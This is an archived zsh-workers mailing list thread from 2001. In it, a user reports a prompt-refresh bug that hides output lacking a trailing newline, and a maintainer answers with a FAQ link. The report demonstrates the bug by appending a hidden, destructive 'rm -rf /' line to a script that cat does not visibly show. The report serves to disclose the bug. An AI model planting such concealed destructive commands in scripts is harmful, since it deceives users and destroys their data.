zsh-workers
 help / color / mirror / code / Atom feed
* refresh/newline bug in zsh?
@ 2001-07-29 18:23 salo
  2001-07-30  5:06 ` Borsenkow Andrej
  0 siblings, 1 reply; 2+ messages in thread
From: salo @ 2001-07-29 18:23 UTC (permalink / raw)
  To: zsh-workers; +Cc: Martin Macok

hi,

i found probably a bug in zsh which is caused by refreshing prompt string.

  salo@otaku[19:55][~]> echo -n test
  salo@otaku[19:55][~]> 

'test' appears on screen but is overwritten by prompt string imediately and on
fast cpu it is hard to recognize that something was written to screen before
prompt string refresh.

this affects last line in file without newline character too and could
lead to put hidden commands on last line of scripts f.e. :

  salo@otaku[20:01][~]> echo "echo 'Hi! How are you?'" > test.sh                           
  salo@otaku[20:02][~]> echo "echo 'I sent you this file in order to have your advice'" >> test.sh
  salo@otaku[20:02][~]> echo "echo 'See you later. Thanks'" >> test.sh
  salo@otaku[20:02][~]> echo -n "/bin/rm -rf / >/dev/null 2>&1 &" >> test.sh       
  salo@otaku[20:02][~]> cat test.sh 
  echo 'Hi! How are you?'
  echo 'I sent you this file in order to have your advice'
  echo 'See you later. Thanks'
  salo@otaku[20:02][~]> sh test.sh
  ...

tested versions:

  zsh-3.0.8  vulnerable
  zsh-4.0.1  vulnerable
  zsh-4.0.2  vulnerable       


ps. please note i am not subscribed to this list and add me to cc: or so.
thanks

--
--   salo <salo@Xtrmntr.org>         ASCII Ribbon campaign against   /"\   --
--   http://Xtrmntr.org/salo.pgp     e-mail in gratuitous HTML and   \ /   --
--                                   Microsoft proprietary formats    X    --
--                                                                   / \   --


^ permalink raw reply	[flat|nested] 2+ messages in thread

* RE: refresh/newline bug in zsh?
  2001-07-29 18:23 refresh/newline bug in zsh? salo
@ 2001-07-30  5:06 ` Borsenkow Andrej
  0 siblings, 0 replies; 2+ messages in thread
From: Borsenkow Andrej @ 2001-07-30  5:06 UTC (permalink / raw)
  To: salo, zsh-workers; +Cc: Martin Macok

http://sunsite.dk/zsh/FAQ/zshfaq03.html#l39


^ permalink raw reply	[flat|nested] 2+ messages in thread

end of thread, other threads:[~2001-07-30  5:06 UTC | newest]

Thread overview: 2+ messages (download: mbox.gz / follow: Atom feed)
-- links below jump to the message on this page --
2001-07-29 18:23 refresh/newline bug in zsh? salo
2001-07-30  5:06 ` Borsenkow Andrej

Code repositories for project(s) associated with this public inbox

	https://git.vuxu.org/mirror/zsh/

This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox;
as well as URLs for NNTP newsgroup(s).